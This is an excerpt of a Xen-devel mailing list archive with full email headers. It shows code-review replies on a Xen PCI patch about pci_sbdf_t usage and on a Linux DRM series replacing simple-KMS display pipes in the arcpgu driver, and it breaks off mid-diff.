>   drivers/gpu/drm/mcde/mcde_display.c      | 162 ++++++++++++++++------
>   drivers/gpu/drm/mcde/mcde_drm.h          |   6 +-
>   drivers/gpu/drm/mcde/mcde_drv.c          |   3 +-
>   drivers/gpu/drm/pl111/pl111_display.c    | 174 ++++++++++++++++++------
>   drivers/gpu/drm/pl111/pl111_drm.h        |   5 +-
>   drivers/gpu/drm/pl111/pl111_drv.c        |   3 +-
>   drivers/gpu/drm/tiny/arcpgu.c            | 165 ++++++++++++++++++-----
>   drivers/gpu/drm/tiny/gm12u320.c          | 128 ++++++++++++++----
>   drivers/gpu/drm/tiny/repaper.c           | 130 ++++++++++++++----
>   drivers/gpu/drm/tve200/tve200_display.c  | 221 +++++++++++++++++++++----------
>   drivers/gpu/drm/tve200/tve200_drm.h      |   6 +-
>   drivers/gpu/drm/tve200/tve200_drv.c      |  17 ++-
>   drivers/gpu/drm/xen/xen_drm_front.h      |   6 +-
>   drivers/gpu/drm/xen/xen_drm_front_kms.c  | 177 +++++++++++++++++++------
>   18 files changed, 1164 insertions(+), 381 deletions(-)
> ---
> base-commit: 3696d07837d1df13a5603d77f667685e7dfb3c53
> change-id: 20260704-drm-simple-kms-removal-01a031c6a129
>
> Best regards,
> --
> Ze Huang <ze.huang@oss.qualcomm.com>
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, Werner Knoblich, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Mon Jul 06 07:34:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 07:34:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355080.1609874 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgdqg-0003pT-Hi; Mon, 06 Jul 2026 07:34:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355080.1609874; Mon, 06 Jul 2026 07:34:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgdqg-0003pM-Ep; Mon, 06 Jul 2026 07:34:38 +0000
Received: by outflank-mailman (input) for mailman id 1355080;
 Mon, 06 Jul 2026 07:34:37 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgdqf-0003pA-EY
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 07:34:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgdqe-000y57-LO
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:34:36 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4b5a83-5cb7-0a2a0a5109dd-0a2a4507bc16-20
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:34:36 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4b5a8b-9c8e-0a2a45070019-d1558035b498-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 09:34:36 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso27352525e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 00:34:36 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce11497sm280355075e9.12.2026.07.06.00.34.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 00:34:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783323275; x=1783928075; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=PKjKDqe3Ft4ViRBEUvsPV0dWOvJrntPmhyZVACdci3o=;
        b=eCCHYufJczHtwlz9FC1b748X6clSgg5UytSDy5A3AqHvfLD2pcukqbysf9UvtMidkw
         ubodLkh4a6YJg9t2Ujf6m6+jvTHI6TPJ5gjLGA4FP8k5t/6PvNyvvd2Vn7j+RRB0MMgh
         uiqRXzg6dECDmooWp/xuzg5FjgwZsuckPdkIrH/h2MV3LUBP8ElX0NzsXyIMZFfmvhQ+
         qmeeyjh6A8LxcPc25fZsqZcv+Mq43Ct8B8G1e8GDkt27r4kb/uzqb5LQBq0g2gj9sa09
         pf9sFt89xoYBzgWz9pPxuZlJANXgqPxHeEDhpbZcSGz7a9kKDqgdcNQd+OctfOVeohfY
         LCVQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783323275; x=1783928075;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=PKjKDqe3Ft4ViRBEUvsPV0dWOvJrntPmhyZVACdci3o=;
        b=flY7k1i5M8tAN1PjFC1g4Qpvg0E6IW1LH1PnzlDgmBTET0BnUflS3Wo85q7p/CZ479
         7qoNMDrBipQVnTLVBVmybDUw0wZnTQiILjJpjTBmZduYNEbsCe29UZFrbQFSJXc0v6NI
         zx5gjCPD4ni/58kcqppcep/0izCQBW5LMDkQjG+ot+pITuTXKTK2FWeDs7xYHmimkj+O
         w4glC2jtLxKwAUqAL6/I4uFnklZU0oY1o1ce5fpEN4CrJWwWtI7S2uVoxKYi4l0Pz9yh
         jg2sXj+fYYJ5XPcxtpHi/KxxMQb8NfQgfWjQMopv5Ed/ESNPhXdXfW3OTf8IbnSfl+ov
         gdcA==
X-Forwarded-Encrypted: i=1; AHgh+RqdjLGQb34WJQH3trREakaSb8ScuNOLbDn4ao2GUagvTs/4y93/SX3O5TspFa8zq+W5RYr25XUWE8g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzeBltsB73PDoxjQQ9jWU+ms6B6D2CUU+T+W3RjA04y5LBQbgxY
	/P07RZrtQ749XnoF+uJ6eoXxSTifc0pngVamZK1qBxZIUF1BCR6tK/+zPvflAvoT4g==
X-Gm-Gg: AfdE7ckV3qxshXmeLzqi7QfG19ORM0C8cs1CdoJnZvosI3wObQyp1bRu+E7kxGC2UhU
	tJZ+sMtgWuF/GwETlz0rYAh3cGnV5L6Oeg/zl+4/6bwkU6/Fdd50dToldiH/UYiw5AR5pnlY0vu
	LYpKK5UWtiZaUPjV0xMy8unwVGncaz6UDIFmL67PPgGQhH70ym1KPfmvzMxHIyIE9SV15vbyXpk
	4ugC+Jq8Mixs3mUTkZJzmxmvcXtj25Dl4G9b7MJCsE9LBox1b0EQ0nOIbB9OpHGaqp1XxyrJbzv
	6K0vlQ7V4AXnUocVc7/5DsbEjTdplvxbcI4VsoZCW3lauv+fd6z7DQT6OrqlVPVpJKuOjjTEKih
	yTcdJH3N2L1TUYbArkBePaiDEZ4f20Rg6Qes7ZZ65t2jO/gZKrxzjIufwU7vaYg2s1M+ND+v1m0
	DeZO/Rk7IrgxKk4E5GuM00YAN1RaEEE/24x0pU5t1Y79PCO04OlF6snyzrx6868eDd+pzqhOmcy
	jXX
X-Received: by 2002:a05:600c:3506:b0:493:be08:c372 with SMTP id 5b1f17b1804b1-493d11dd320mr104492505e9.17.1783323275489;
        Mon, 06 Jul 2026 00:34:35 -0700 (PDT)
Message-ID: <d09788a2-b8ab-4ef1-9973-aed9c50578d1@suse.com>
Date: Mon, 6 Jul 2026 09:34:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3.1 02/18] pci: Use pci_sbdf_t in pci_add_device()
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <1782753810.8631fc262581453bbf619ec5b2062170.19f1468572a000701b@vates.tech>
 <1783096203.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRi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RFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783096203.8631fc262581453bbf619ec5b2062170.19f28d0d9fc00080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1783323276-FD72125E-C9843896/0/0
X-purgate-type: clean
X-purgate-size: 1771

On 03.07.2026 18:29, Teddy Astie wrote:
> @@ -729,14 +726,14 @@ int pci_add_device(u16 seg, u8 bus, u8 devfn,
>              if ( !pdev->ext_cfg )
>                  printk(XENLOG_WARNING
>                         "%pp: VF without extended config space?\n",
> -                       &pdev->sbdf);
> +                       &sbdf);
>          }
>      }
>  
>      if ( !pdev->info.is_virtfn && !pdev->physfn.vf_rlen[0] )
>      {
>          unsigned int pos = pci_find_ext_capability(pdev, PCI_EXT_CAP_ID_SRIOV);
> -        uint16_t ctrl = pci_conf_read16(pdev->sbdf, pos + PCI_SRIOV_CTRL);
> +        uint16_t ctrl = pci_conf_read16(sbdf, pos + PCI_SRIOV_CTRL);

There continue to be unnecessary changes here, like these two. Even if only
to limit churn, such changes imo better wouldn't be making unless they
offered a clear gain.

> @@ -818,14 +815,16 @@ out:
>      pcidevs_unlock();
>      if ( !ret )
>      {
> -        printk(XENLOG_DEBUG "PCI add %s %pp\n", type, &pdev->sbdf);
> +        unsigned int func = sbdf.fn;
> +
> +        printk(XENLOG_DEBUG "PCI add %s %pp\n", type, &sbdf);
>          while ( pdev->phantom_stride )
>          {
>              func += pdev->phantom_stride;
>              if ( PCI_SLOT(func) )
>                  break;
>              printk(XENLOG_DEBUG "PCI phantom %pp\n",
> -                   &PCI_SBDF(seg, bus, slot, func));
> +                   &PCI_SBDF(sbdf.seg, sbdf.bus, sbdf.dev, func));
>          }
>      }
>      return ret;

Is there a reason you retain "func" as a variable? As sbdf isn't used any
further, you could fiddle directly with sbfd.fn. (Then again I realize
some helper variable may be needed anyway, to be able to detect the field
having wrapped.)

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 08:01:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 08:01:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355107.1609888 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgeGT-0008Mx-14; Mon, 06 Jul 2026 08:01:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355107.1609888; Mon, 06 Jul 2026 08:01:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgeGS-0008Mq-Tb; Mon, 06 Jul 2026 08:01:16 +0000
Received: by outflank-mailman (input) for mailman id 1355107;
 Mon, 06 Jul 2026 08:01:16 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wgeGR-0008Mk-I2
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 08:01:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgeGQ-0015AT-6J
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:01:14 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4b60c7-bab6-0a2a0a5309dd-0a2a4507d2ce-4
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:01:14 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4b60c9-9c8e-0a2a45070019-c387df838290-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:01:14 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 5D53275BB4;
 Mon,  6 Jul 2026 08:01:13 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id C709F779AA;
 Mon,  6 Jul 2026 08:01:12 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id dMQ3L8hgS2ryEgAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Mon, 06 Jul 2026 08:01:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783324873; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=Eol3pFSp5FANi6gqhU/0FQxR1lqwhB/1DOs8F+qHl3A=;
	b=ZpOXbjS5VM5yesg7YgX3ioRId3bJRp7RciAGBqT9vFAkCfJT9dHq0PH8bCungq1kzqBw/9
	ZYFtPD2ZeY4xVbZ9efu/SRCPICtf0fH8Q6Xl9ieiEO9Hz67UOmQgW/d6ZSBWaUccrpelGL
	spOdxfSqoQvWlKlGuzW5oPNtb/oIn0U=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783324873;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=Eol3pFSp5FANi6gqhU/0FQxR1lqwhB/1DOs8F+qHl3A=;
	b=bTQM92CHlooYbex+c9cktnZIj7dWM7FPh/QvmtYuG5H+mm8owXLhELv3+peLP2aut61G/W
	EC3gyeQpX9cQbxAA==
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783324873; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=Eol3pFSp5FANi6gqhU/0FQxR1lqwhB/1DOs8F+qHl3A=;
	b=ZpOXbjS5VM5yesg7YgX3ioRId3bJRp7RciAGBqT9vFAkCfJT9dHq0PH8bCungq1kzqBw/9
	ZYFtPD2ZeY4xVbZ9efu/SRCPICtf0fH8Q6Xl9ieiEO9Hz67UOmQgW/d6ZSBWaUccrpelGL
	spOdxfSqoQvWlKlGuzW5oPNtb/oIn0U=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783324873;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=Eol3pFSp5FANi6gqhU/0FQxR1lqwhB/1DOs8F+qHl3A=;
	b=bTQM92CHlooYbex+c9cktnZIj7dWM7FPh/QvmtYuG5H+mm8owXLhELv3+peLP2aut61G/W
	EC3gyeQpX9cQbxAA==
Message-ID: <2f2f0744-02a0-44ae-a8af-df6163869be4@suse.de>
Date: Mon, 6 Jul 2026 10:01:12 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/9] drm/arcpgu: replace struct drm_simple_display_pipe
 with regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-1-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgID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xR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-1-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MIME_TRACE(0.00)[0:+];
	URIBL_BLOCKED(0.00)[imap1.dmz-prg2.suse.org:helo,qualcomm.com:email,bootlin.com:url,suse.de:mid,suse.com:url];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	RCPT_COUNT_TWELVE(0.00)[22];
	ARC_NA(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	RCVD_TLS_ALL(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TAGGED_RCPT(0.00)[];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[qualcomm.com:email,bootlin.com:url,suse.com:url,suse.de:mid]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-ef75cf/1783324874-FDD2425E-EE4E3FBC/0/0
X-purgate-type: clean
X-purgate-size: 12713

Hi

Am 04.07.26 um 20:31 schrieb Ze Huang:
> Instantiate plane, CRTC and encoder directly and wire them up with
> standard atomic helpers.
>
> This removes arcpgu's dependency on deprecated simple-KMS display pipe
> interface.
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
>   drivers/gpu/drm/tiny/arcpgu.c | 165 +++++++++++++++++++++++++++++++++---------
>   1 file changed, 131 insertions(+), 34 deletions(-)
>
> diff --git a/drivers/gpu/drm/tiny/arcpgu.c b/drivers/gpu/drm/tiny/arcpgu.c
> index c93d61ac0bb7..375cdb79e4e8 100644
> --- a/drivers/gpu/drm/tiny/arcpgu.c
> +++ b/drivers/gpu/drm/tiny/arcpgu.c
> @@ -17,12 +17,12 @@
>   #include <drm/drm_fbdev_dma.h>
>   #include <drm/drm_fourcc.h>
>   #include <drm/drm_framebuffer.h>
> +#include <drm/drm_gem_atomic_helper.h>
>   #include <drm/drm_gem_dma_helper.h>
>   #include <drm/drm_gem_framebuffer_helper.h>
>   #include <drm/drm_module.h>
>   #include <drm/drm_of.h>
>   #include <drm/drm_probe_helper.h>
> -#include <drm/drm_simple_kms_helper.h>
>   #include <linux/dma-mapping.h>
>   #include <linux/module.h>
>   #include <linux/of_reserved_mem.h>
> @@ -52,14 +52,14 @@ struct arcpgu_drm_private {
>   	struct drm_device	drm;
>   	void __iomem		*regs;
>   	struct clk		*clk;
> -	struct drm_simple_display_pipe pipe;
> +	struct drm_plane	plane;
> +	struct drm_crtc		crtc;
> +	struct drm_encoder	encoder;
>   	struct drm_connector	sim_conn;
>   };
>   
>   #define dev_to_arcpgu(x) container_of(x, struct arcpgu_drm_private, drm)
>   
> -#define pipe_to_arcpgu_priv(x) container_of(x, struct arcpgu_drm_private, pipe)
> -
>   static inline void arc_pgu_write(struct arcpgu_drm_private *arcpgu,
>   				 unsigned int reg, u32 value)
>   {
> @@ -117,7 +117,7 @@ static const u32 arc_pgu_supported_formats[] = {
>   
>   static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
>   {
> -	const struct drm_framebuffer *fb = arcpgu->pipe.plane.state->fb;
> +	const struct drm_framebuffer *fb = arcpgu->plane.state->fb;
>   	uint32_t pixel_format = fb->format->format;
>   	u32 format = DRM_FORMAT_INVALID;
>   	int i;
> @@ -139,10 +139,10 @@ static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
>   	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL, reg_ctrl);
>   }
>   
> -static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *pipe,
> -					       const struct drm_display_mode *mode)
> +static enum drm_mode_status arcpgu_crtc_helper_mode_valid(struct drm_crtc *crtc,
> +							  const struct drm_display_mode *mode)
>   {
> -	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
> +	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
>   	long rate, clk_rate = mode->clock * 1000;
>   	long diff = clk_rate / 200; /* +-0.5% allowed by HDMI spec */
>   
> @@ -155,7 +155,7 @@ static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *p
>   
>   static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
>   {
> -	struct drm_display_mode *m = &arcpgu->pipe.crtc.state->adjusted_mode;
> +	struct drm_display_mode *m = &arcpgu->crtc.state->adjusted_mode;
>   	u32 val;
>   
>   	arc_pgu_write(arcpgu, ARCPGU_REG_FMT,
> @@ -194,11 +194,10 @@ static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
>   	clk_set_rate(arcpgu->clk, m->crtc_clock * 1000);
>   }
>   
> -static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
> -			   struct drm_crtc_state *crtc_state,
> -			   struct drm_plane_state *plane_state)
> +static void arcpgu_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +					     struct drm_atomic_commit *state)

Since you're adding these functions anew, please use 'commit' for the 
name of the drm_atomic_commit.Â  Here and everywhere else in the series.Â  
You don't have to update existing functions, of course.

The name 'state' is a bit off here and comes from when drm_atomic_commit 
was still called drm_atomic_state.

CRTCs, plane, etc have state, but the update of these states is called 
commit.


>   {
> -	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
> +	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
>   
>   	arc_pgu_mode_set(arcpgu);
>   
> @@ -208,9 +207,10 @@ static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
>   		      ARCPGU_CTRL_ENABLE_MASK);
>   }
>   
> -static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
> +static void arcpgu_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +					      struct drm_atomic_commit *state)
>   {
> -	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
